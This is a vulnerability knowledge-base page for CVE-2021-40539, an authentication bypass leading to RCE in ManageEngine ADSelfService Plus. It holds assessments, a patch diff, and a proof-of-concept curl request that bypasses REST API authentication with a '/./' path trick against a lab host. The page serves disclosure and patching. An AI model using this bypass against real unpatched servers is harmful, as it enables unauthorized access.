Very High
CVE-2021-40539
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2021-40539
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Zoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution.
Add Assessment
Technical Analysis
Rapid7’s services teams are observing opportunistic exploitation of this vulnerability in the wild. Sounds like coin miners are the payload so far.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Please see the Rapid7 analysis.
Update: I have confirmed that ADManager Plus was also patched against CVE-2021-40539. See the release notes for build 7112. This doesn’t seem to affect /RestAPI/WC
endpoints.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Exploited in the Wild
- Government or Industry Alert (https://us-cert.cisa.gov/ncas/current-activity/2021/09/07/zoho-releases-security-update-adselfservice-plus)
- Other: Joint FBI Advisory (https://www.ic3.gov/Media/News/2021/210917.pdf)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Additional Info
Technical Analysis
Description
On September 7, 2021, Zoho published a security advisory and software update for CVE-2021-40539, a REST API authentication bypass vulnerability in ManageEngine ADSelfService Plus that, if successfully exploited, could result in unauthenticated remote code execution (RCE). CISA warns that CVE-2021-40539 is being exploited in the wild, so patching should be performed on an emergency basis.
Affected products
ADSelfService Plus builds up to 6113 are affected.
Technical analysis
The auth bypass appears to be a path normalization bug in REST API routing.
Patch
--- a/ManageEngineADSFrameworkJava.ujar/com/manageengine/ads/fw/api/RestAPIUtil.java +++ b/ManageEngineADSFrameworkJava.ujar/com/manageengine/ads/fw/api/RestAPIUtil.java @@ -2,6 +2,7 @@ package com.manageengine.ads.fw.api; import com.adventnet.ds.query.Column; import com.adventnet.ds.query.Criteria; +import com.adventnet.iam.security.SecurityUtil; import com.adventnet.persistence.DataObject; import com.adventnet.persistence.Row; import com.adventnet.persistence.WritableDataObject; @@ -28,6 +29,7 @@ import java.util.logging.Logger; import java.util.regex.Pattern; import javax.net.ssl.SSLHandshakeException; import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils; import org.json.JSONArray; @@ -167,6 +169,9 @@ public class RestAPIUtil extends RestAPIUtil implements RestAPIConstants { throw new Exception("00000012"); } catch (IOException ex) { out.log(Level.SEVERE, "", ex); + InputStream isr = connection.getErrorStream(); + if (isr != null) + return getString(isr); throw ex; } catch (Exception e) { out.log(Level.FINE, " ", e); @@ -667,10 +672,47 @@ public class RestAPIUtil extends RestAPIUtil implements RestAPIConstants { } catch (Exception ex) { out.log(Level.INFO, "Unable to get API_URL_PATTERN.", ex); } - String reqURI = request.getRequestURI(); + String reqURI = SecurityUtil.getNormalizedURI(request.getRequestURI()); String contextPath = (request.getContextPath() != null) ? request.getContextPath() : ""; reqURI = reqURI.replace(contextPath, ""); reqURI = reqURI.replace("//", "/"); return Pattern.matches(restApiUrlPattern, reqURI); } + + public static Properties getParameters(HttpServletRequest request) { + Properties properties = new Properties(); + Enumeration<String> paramNames = request.getParameterNames(); + while (paramNames.hasMoreElements()) { + String paramName = paramNames.nextElement(); + String paramValue = request.getParameter(paramName); + if (paramValue != null) + properties.put(paramName, paramValue); + } + return properties; + } + + public static boolean isProductAPIAllowedOnDemo(HttpServletRequest request, HttpServletResponse response) { + try { + String requestURI = request.getRequestURI(); + String contextPath = request.getContextPath(); + requestURI = requestURI.replaceFirst(contextPath, ""); + requestURI = requestURI.replaceAll("//", "/"); + Properties parameters = getParameters(request); + JSONObject apiDetails = getAPIDetails(requestURI, parameters); + if (apiDetails == null) + return true; + if (!apiDetails.getBoolean("IS_ALLOWED_ON_DEMO") && CommonUtil.isDemo().booleanValue()) { + JSONObject responseObj = new JSONObject(); + responseObj.put("SEVERITY", "SEVERE"); + responseObj.put("STATUS_MESSAGE", "ads.restapi.error.url_restricted_for_demo"); + responseObj.put("eSTATUS", "ads.restapi.error.url_restricted_for_demo"); + responseObj.put("ERROR_CODE", "00000014"); + CommonUtil.setResponseJSON(response, responseObj); + return false; + } + } catch (Exception ex) { + out.log(Level.INFO, "Exception occured in ADSFilter isAPIAllowedOnDemo :" + ex); + } + return true; + } }
public static String getNormalizedURI(String path) { if (path == null) return null; String normalized = path; if (normalized.indexOf('\\') >= 0) normalized = normalized.replace('\\', '/'); if (!normalized.startsWith("/")) normalized = "/" + normalized; boolean addedTrailingSlash = false; if (normalized.endsWith("/.") || normalized.endsWith("/..")) { normalized = normalized + "/"; addedTrailingSlash = true; } while (true) { int index = normalized.indexOf("/./"); if (index < 0) break; normalized = normalized.substring(0, index) + normalized.substring(index + 2); } while (true) { int index = normalized.indexOf("/../"); if (index < 0) break; if (index == 0) return null; int index2 = normalized.lastIndexOf('/', index - 1); normalized = normalized.substring(0, index2) + normalized.substring(index + 3); } if (normalized.length() > 1 && addedTrailingSlash) normalized = normalized.substring(0, normalized.length() - 1); return normalized; }
PoC
The following request is largely benign and returns static content.
wvu@kharak:~$ curl -v --path-as-is http://172.16.57.9:8888/./RestAPI/LogonCustomization -d methodToCall=previewMobLogo * Trying 172.16.57.9... * TCP_NODELAY set * Connected to 172.16.57.9 (172.16.57.9) port 8888 (#0) > POST /./RestAPI/LogonCustomization HTTP/1.1 > Host: 172.16.57.9:8888 > User-Agent: curl/7.64.1 > Accept: */* > Content-Length: 27 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 27 out of 27 bytes < HTTP/1.1 200 OK < Set-Cookie: JSESSIONIDADSSP=37895862ACDA03D1FACDAC9BD6161568; Path=/; HttpOnly < Content-Type: text/html;charset=UTF-8 < Transfer-Encoding: chunked < Date: Tue, 14 Sep 2021 18:53:46 GMT < * Connection #0 to host 172.16.57.9 left intact <script type="text/javascript">var d = new Date();window.parent.$("#mobLogo").attr("src","/temp/tempMobPreview.jpeg?"+d.getTime());window.parent.$("#tabLogo").attr("src","/temp/tempMobPreview.jpeg?"+d.getTime());</script>* Closing connection 0 wvu@kharak:~$
Guidance
Update ADSelfService Plus to the latest build, 6114, using the service pack.
CISA strongly urges organizations ensure ADSelfService Plus is not directly accessible from the internet.
Resources
- https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html
- https://www.manageengine.com/products/self-service-password/release-notes.html
- https://www.manageengine.com/products/self-service-password/service-pack.html
- https://us-cert.cisa.gov/ncas/current-activity/2021/09/07/zoho-releases-security-update-adselfservice-plus
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: